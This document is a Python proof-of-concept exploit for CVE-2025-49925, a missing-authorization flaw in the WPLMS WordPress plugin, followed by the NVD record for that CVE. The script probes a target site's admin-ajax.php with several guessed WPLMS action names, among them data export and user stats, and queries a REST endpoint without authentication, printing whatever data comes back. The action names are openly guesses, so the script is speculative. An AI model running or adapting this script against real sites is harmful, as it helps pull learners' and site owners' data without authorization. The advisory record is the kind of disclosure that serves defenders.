CVE-2025-49925

# CVE-2025-49925 PoC - WPLMS Broken Access Control # Vulnerability: Missing Authorization in WPLMS Plugin <= 1.9.9.7 # Type: Unauthenticated Access to Restricted Functionality import requests TARGET_URL = "http://target-wordpress-site.com" # Common WPLMS AJAX endpoints that may lack proper authorization checks ENDPOINTS = [ "/wp-admin/admin-ajax.php", "/wp-json/wplms/v1/" # Custom REST API namespace if exists ] # Example 1: Direct AJAX action exploitation def exploit_ajax_action(): """ Exploit missing authorization on WPLMS AJAX handlers. The plugin fails to verify user capabilities before processing sensitive actions such as exporting user data or accessing course info. """ url = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Common WPLMS AJAX actions that may be vulnerable actions = [ "wplms_get_user_stats", "wplms_export_data", "wplms_get_course_details", "wplms_admin_dashboard_data" ] for action in actions: params = { "action": action, # Additional parameters may be required depending on the specific handler "course_id": "1", "user_id": "1" } try: response = requests.post(url, data=params, timeout=10) if response.status_code == 200 and "error" not in response.text.lower(): print(f"[+] Potential vulnerable action: {action}") print(f" Response: {response.text[:500]}") return response.text except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None # Example 2: REST API endpoint exploitation def exploit_rest_api(): """ Exploit missing authorization on WPLMS REST API endpoints. """ url = f"{TARGET_URL}/wp-json/wplms/v1/courses" try: response = requests.get(url, timeout=10) if response.status_code == 200: print(f"[+] REST API accessible without auth") print(f" Response: {response.text[:500]}") return response.text except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None if __name__ == "__main__": print(f"[*] Targeting: {TARGET_URL}") print("[*] Testing CVE-2025-49925 - WPLMS Broken Access Control\n") print("[1] Testing AJAX endpoints...") exploit_ajax_action() print("\n[2] Testing REST API endpoints...") exploit_rest_api()

{"cve": {"id": "CVE-2025-49925", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:38.460", "lastModified": "2026-04-27T20:16:17.907", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in VibeThemes WPLMS wplms_plugin allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects WPLMS: from n/a through <= 1.9.9.7."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vibethemes:wordpress_learning_management_system:*:*:*:*:*:wordpress:*:*", "versionEndExcluding": "1.9.9.8", "matchCriteriaId": "2AD5E5A7-AC77-4C2E-9157-1F8BEEF1D0C9"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wplms_plugin/vulnerability/wordpress-wplms-plugin-1-9-9-7-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}